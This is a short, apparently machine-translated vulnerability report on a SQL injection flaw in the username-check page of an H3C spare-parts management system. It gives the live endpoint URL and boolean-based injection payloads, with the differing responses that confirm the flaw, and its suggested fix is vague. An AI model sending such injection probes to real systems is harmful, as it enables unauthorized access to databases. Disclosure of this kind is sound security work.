SQL Injection Vulnerability and repair in H3C communication spare parts management system

Detailed Description: the user name verification page on the registration page does not filter the input.
Proof of vulnerability: http://rma.h3c.com/spms_outter/base/CheckRegistedOrg.do? Orgname = admin return "account: admin has been registered. Please register with another user name! "

Http://rma.h3c.com/spms_outter/base/CheckRegistedOrg.do? Orgname = admin' % 20and % 20 'A' = 'B returned "no one registered admin' and 'A' =' B. You can use this account to register. "

Http://rma.h3c.com/spms_outter/base/CheckRegistedOrg.do? Orgname = admin' % 20or % 20 'A' = 'B returned "account: admin' or 'A' =' B has been applied for. Please register with another user name !. "

You can try to detect that the database is Oracle and the modification test is not performed.
Solution: We recommend that you add SQL detection by yourself.